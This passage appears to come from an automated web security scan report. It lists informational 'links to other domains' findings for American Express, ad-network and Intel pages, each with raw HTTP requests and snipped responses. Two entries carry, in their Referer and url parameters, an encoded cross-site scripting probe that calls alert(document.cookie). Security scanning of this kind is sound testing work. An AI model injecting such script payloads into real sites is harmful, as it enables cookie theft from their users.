Host: personalsavings.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_vi=[CS]v1|26A5643B851D30BB-60000101A000141F[CE]; SaneID=173.193.214.243-1296742163652146;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:13 GMT
Content-type: text/html
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-type" conte
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://www134.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
unt of insurance coverage you receive is based on your aggregate deposit balance for each account ownership type. For additional information, call us at 1-800-446-6307 or visit the FDIC...s website at <a href="http://www.fdic.gov/" title="Federal Deposit Insurance Corporation" target="blank">www.fdic.gov</a>
...[SNIP]...
</h2>
           <a id="loginButton" class="sidebar-login" href="https://cibng.ibanking-services.com/cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066" onclick='omn_rmaction("US:PersSav:Login","View>FAQ")'>Log In</a>
...[SNIP]...
<li class="shove-left"><a href="https://cibng.ibanking-services.com/cib/themes/cib_enroll/enroll/enroll.jsp?FIORG=330&FIFID=124085066">Set up online access</a>
...[SNIP]...
<NOSCRIPT>
   <IFRAME SRC="http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=1?" WIDTH=1 HEIGHT=1 FRAMEBORDER=0></IFRAME>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&source=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...

20.157. http://personalsavings.americanexpress.com/open-account.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://personalsavings.americanexpress.com
Path:	/open-account.html

Issue detail

The page was loaded from a URL containing a query string:

http://personalsavings.americanexpress.com/open-account.html?inav=ps_open_account

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://www134.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=1?
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&source=footer_MR
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://cibng.ibanking-services.com/cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066
https://cibng.ibanking-services.com/cib/themes/cib_enroll/enroll/enroll.jsp?FIORG=330&FIFID=124085066
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /open-account.html?inav=ps_open_account HTTP/1.1
Host: personalsavings.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_vi=[CS]v1|26A5643B851D30BB-60000101A000141F[CE]; SaneID=173.193.214.243-1296742163652146;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:06 GMT
Content-type: text/html
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-type" conte
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://www134.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
</h2>
           <a id="loginButton" class="sidebar-login" href="https://cibng.ibanking-services.com/cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066" onclick='omn_rmaction("US:PersSav:Login","View>OpenAcct")'>Log In</a>
...[SNIP]...
<li class="shove-left"><a href="https://cibng.ibanking-services.com/cib/themes/cib_enroll/enroll/enroll.jsp?FIORG=330&FIFID=124085066">Set up online access</a>
...[SNIP]...
<NOSCRIPT>
   <IFRAME SRC="http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=1?" WIDTH=1 HEIGHT=1 FRAMEBORDER=0></IFRAME>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&source=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...

20.158. http://personalsavings.americanexpress.com/product-comparison.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://personalsavings.americanexpress.com
Path:	/product-comparison.html

Issue detail

The page was loaded from a URL containing a query string:

http://personalsavings.americanexpress.com/product-comparison.html?inav=ps_Compare_Products

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://www134.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=1?
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&source=footer_MR
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://cibng.ibanking-services.com/cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066
https://cibng.ibanking-services.com/cib/themes/cib_enroll/enroll/enroll.jsp?FIORG=330&FIFID=124085066
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /product-comparison.html?inav=ps_Compare_Products HTTP/1.1
Host: personalsavings.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_vi=[CS]v1|26A5643B851D30BB-60000101A000141F[CE]; SaneID=173.193.214.243-1296742163652146;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:09 GMT
Content-type: text/html
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-type" conte
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://www134.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
</h2>
           <a id="loginButton" class="sidebar-login" href="https://cibng.ibanking-services.com/cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066" onclick='omn_rmaction("US:PersSav:Login","View>CompareProd")'>Log In</a>
...[SNIP]...
<li class="shove-left"><a href="https://cibng.ibanking-services.com/cib/themes/cib_enroll/enroll/enroll.jsp?FIORG=330&FIFID=124085066">Set up online access</a>
...[SNIP]...
<NOSCRIPT>
   <IFRAME SRC="http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=1?" WIDTH=1 HEIGHT=1 FRAMEBORDER=0></IFRAME>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&source=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...

20.159. http://personalsavings.americanexpress.com/savings-product.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://personalsavings.americanexpress.com
Path:	/savings-product.html

Issue detail

The page was loaded from a URL containing a query string:

http://personalsavings.americanexpress.com/savings-product.html?inav=ps_HYS

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://www134.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=1?
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&source=footer_MR
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://cibng.ibanking-services.com/cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066
https://cibng.ibanking-services.com/cib/themes/cib_enroll/enroll/enroll.jsp?FIORG=330&FIFID=124085066
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /savings-product.html?inav=ps_HYS HTTP/1.1
Host: personalsavings.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_vi=[CS]v1|26A5643B851D30BB-60000101A000141F[CE]; SaneID=173.193.214.243-1296742163652146;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:51:48 GMT
Content-type: text/html
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-type" conte
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://www134.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
</h2>
           <a id="loginButton" class="sidebar-login" href="https://cibng.ibanking-services.com/cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066" onclick='omn_rmaction("US:PersSav:Login","View>HYSAProd")'>Log In</a>
...[SNIP]...
<li class="shove-left"><a href="https://cibng.ibanking-services.com/cib/themes/cib_enroll/enroll/enroll.jsp?FIORG=330&FIFID=124085066">Set up online access</a>
...[SNIP]...
<NOSCRIPT>
   <IFRAME SRC="http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=1?" WIDTH=1 HEIGHT=1 FRAMEBORDER=0></IFRAME>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&source=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...

20.160. http://rmncdn.com/widget_cdn.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rmncdn.com
Path:	/widget_cdn.html

Issue detail

The page was loaded from a URL containing a query string:

http://rmncdn.com/widget_cdn.html?aff=manualsonline&title=&defaultQuery=&width=300&height=400&c_shellBg=f3f3f3&c_shellFg=4C8E13&c_couponBg=96c63a&c_couponFg=fff&c_link=fff&c_codeTip=000

The response contains the following link to another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js

Request

GET /widget_cdn.html?aff=manualsonline&title=&defaultQuery=&width=300&height=400&c_shellBg=f3f3f3&c_shellFg=4C8E13&c_couponBg=96c63a&c_couponFg=fff&c_link=fff&c_codeTip=000 HTTP/1.1
Host: rmncdn.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

20.161. http://searchnet.chitika.net/audience previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://searchnet.chitika.net
Path:	/audience

Issue detail

The page was loaded from a URL containing a query string:

http://searchnet.chitika.net/audience?cc=US&domain=homeappliance.manualsonline.com&ip=173.193.214.243&murl=aarp.thehartford.com,foxnews8.com,carinsuranceweb.com,geinterestplus.com,digestaqure.com&p=0.000700179100183313&url=http%3A%2F%2Fhomeappliance.manualsonline.com%2Fex%2Fmfg%2Fheadline%2Fm%2Fariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281%2Fd%2Ftype%2Fproduct_problem&cbb=0x5FAA34DC317211E0BEB038273F87B1CA

The response contains the following links to other domains:

http://ad.yieldmanager.com/pixel?id=1092969&t=2
http://ad.yieldmanager.com/pixel?id=1095753&t=2
http://ad.yieldmanager.com/pixel?id=1095859&t=2
http://ad.yieldmanager.com/pixel?id=926574&t=2
http://ad.yieldmanager.com/pixel?id=962198&t=2
http://ad.yieldmanager.com/pixel?id=962201&t=2
http://i.w55c.net/rs?id=55a98cbe3a9546199c35c06090cd400c&t=marketing
http://ib.adnxs.com/seg?add=63606&t=2
http://ib.adnxs.com/seg?add=78806&t=2
http://ib.adnxs.com/seg?add=78812&t=2
http://ib.adnxs.com/seg?add=79330:70&t=2
http://osmdcs.interclick.com/pixel.aspx?dp=5CCB8959-0A79-42F0-9137-1DD7689C7E77&sid=1283104
http://www.wtp101.com/pixel?id=1006&r=1&nocb=1 height=
http://www.wtp101.com/pixel?id=1007&r=1&nocb=1
http://www.wtp101.com/pixel?id=1011&r=1&nocb=1
http://www.wtp101.com/pixel?id=1012&r=1&nocb=1

Request

GET /audience?cc=US&domain=homeappliance.manualsonline.com&ip=173.193.214.243&murl=aarp.thehartford.com,foxnews8.com,carinsuranceweb.com,geinterestplus.com,digestaqure.com&p=0.000700179100183313&url=http%3A%2F%2Fhomeappliance.manualsonline.com%2Fex%2Fmfg%2Fheadline%2Fm%2Fariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281%2Fd%2Ftype%2Fproduct_problem&cbb=0x5FAA34DC317211E0BEB038273F87B1CA HTTP/1.1
Host: searchnet.chitika.net
Proxy-Connection: keep-alive
Referer: http://searchnet.chitika.net/audience?cc=US&domain=homeappliance.manualsonline.com&ip=173.193.214.243&murl=aarp.thehartford.com,foxnews8.com,carinsuranceweb.com,geinterestplus.com,digestaqure.com&p=0.000700179100183313&url=http%3A%2F%2Fhomeappliance.manualsonline.com%2Fex%2Fmfg%2Fheadline%2Fm%2Fariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281%2Fd%2Ftype%2Fproduct_problem&cbb=0x5FAA34DC317211E0BEB038273F87B1CA
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _cc=G/SkJiIEkgB5jwthOgp2U7fj6wwhdgvL4c0tN7QIkjl+9DY+kxm0FYEPwYHEtzd1Eb9GVhAFySrB7FsCah5yekHnHk86QdWmqzPlPoX9fVgKhjoJ7H0CpjFT5Hp1o2UMeStsZFPsF38vogWeCxRsANnVfye1gm5VQVRitA3zocW7G6iOKSNpC8nW/fSMYPkd+FCgRcmr74lmkl5cwzW3Czwl6LeM3oQBJIYcJ6NbVb7AFAn8X+k1IsMDj5bEGLsE44aH3XGVfZEeq7YK0yCm1xoznT+oB6MyoGrFo+3L+n46HJMn/fIuhcbGfmpCGIWgP/8azfwodcqzdnmXzDHV02SLzkuIP4TROEiHhvvFYJCve1mdj9NNH2b6m71cRkwsP7WlTZEvF7RLkkrfjucSwCzhr5Z1qjMilr/trLois3rxw1y+NdQfz3XqMUHrYIFc6GSu7GKj22sCBmPetmAel7epjXByEoA7.VuO7eR5Qy1Z0VmN7sMLZzA.4

Response

HTTP/1.1 200 OK
Content-Type: text/html
Date: Sat, 05 Feb 2011 21:54:21 GMT
Server: Apache
Vary: Accept-Encoding
Connection: keep-alive
Content-Length: 1446

<html><body><img src="http://ad.yieldmanager.com/pixel?id=926574&t=2" width="1" height="1" />
<img src="http://i.w55c.net/rs?id=55a98cbe3a9546199c35c06090cd400c&t=marketing" width="1" height="1" />
<img src="" width="1" height="1" />
<img src="http://ad.yieldmanager.com/pixel?id=962201&t=2" height="1" width="1" />
<img src="http://www.wtp101.com/pixel?id=1006&r=1&nocb=1 height="1" width="1" />
<img src="http://www.wtp101.com/pixel?id=1011&r=1&nocb=1" height="1" width="1" />
<img src="http://ad.yieldmanager.com/pixel?id=962198&t=2" height="1" width="1" />
<img src="http://www.wtp101.com/pixel?id=1007&r=1&nocb=1" height="1" width="1" />
<img src="http://www.wtp101.com/pixel?id=1012&r=1&nocb=1" height="1" width="1" />
<img src="http://ib.adnxs.com/seg?add=78806&t=2" height="1" width="1" />
<img src="http://osmdcs.interclick.com/pixel.aspx?dp=5CCB8959-0A79-42F0-9137-1DD7689C7E77&sid=1283104" height="1" width="1" />
<img src="http://ad.yieldmanager.com/pixel?id=1092969&t=2" width="1" height="1" />
<img src="" height="1" width="1" />
<img src="http://ib.adnxs.com/seg?add=78812&t=2" height="1" width="1" />
<img src="http://ad.yieldmanager.com/pixel?id=1095859&t=2" height="1" width="1" />
<img src="http://ib.adnxs.com/seg?add=63606&t=2" width="1" height="1" />
<img src="http://ad.yieldmanager.com/pixel?id=1095753&t=2" width="1" height="1" />
<img src="http://ib.adnxs.com/seg?add=79330:70&t=2" width="1" height="1" /></body>
...[SNIP]...

20.162. http://software.intel.com/en-us/articles/intel-cloud-builders/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://software.intel.com
Path:	/en-us/articles/intel-cloud-builders/

Issue detail

The page was loaded from a URL containing a query string:

http://software.intel.com/en-us/articles/intel-cloud-builders/?cid\u003dvibrantlogo4

The response contains the following links to other domains:

http://www.intc.com/index.cfm?iid=ftr+invrel
http://www.intelethernet.com/
http://www.opendatacenteralliance.org/

Request

Response

HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Language: en-us
X-Pingback: http://software.intel.com/en-us/services/comment/pingback/
Date: Sat, 05 Feb 2011 21:52:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=c680a28da547976765a9fecb001f8b7a; path=/; domain=intel.com
Set-Cookie: loginpt=0
Content-Length: 45164

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-us" xmlns="http://www.w3.org/1999/xhtml">
<head profile="http:
...[SNIP]...
<li><a href="http://www.opendatacenteralliance.org" target="_blank">Open Data Center Alliance</a>
...[SNIP]...
<p><a href="http://www.opendatacenteralliance.org" target="_blank">Open Data Center Alliance</a>
...[SNIP]...
<br /> <a href="http://www.intelethernet.com/" target="_blank">Intel.. Ethernet server adapters</a>
...[SNIP]...
<li><a href="http://www.intc.com/index.cfm?iid=ftr+invrel">Investor Relations</a>
...[SNIP]...

20.163. http://software.intel.com/sites/oss/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://software.intel.com
Path:	/sites/oss/

Issue detail

The page was loaded from a URL containing a query string:

http://software.intel.com/sites/oss/?cid\u003dsw:vibrantcustomlogoq1

The response contains the following links to other domains:

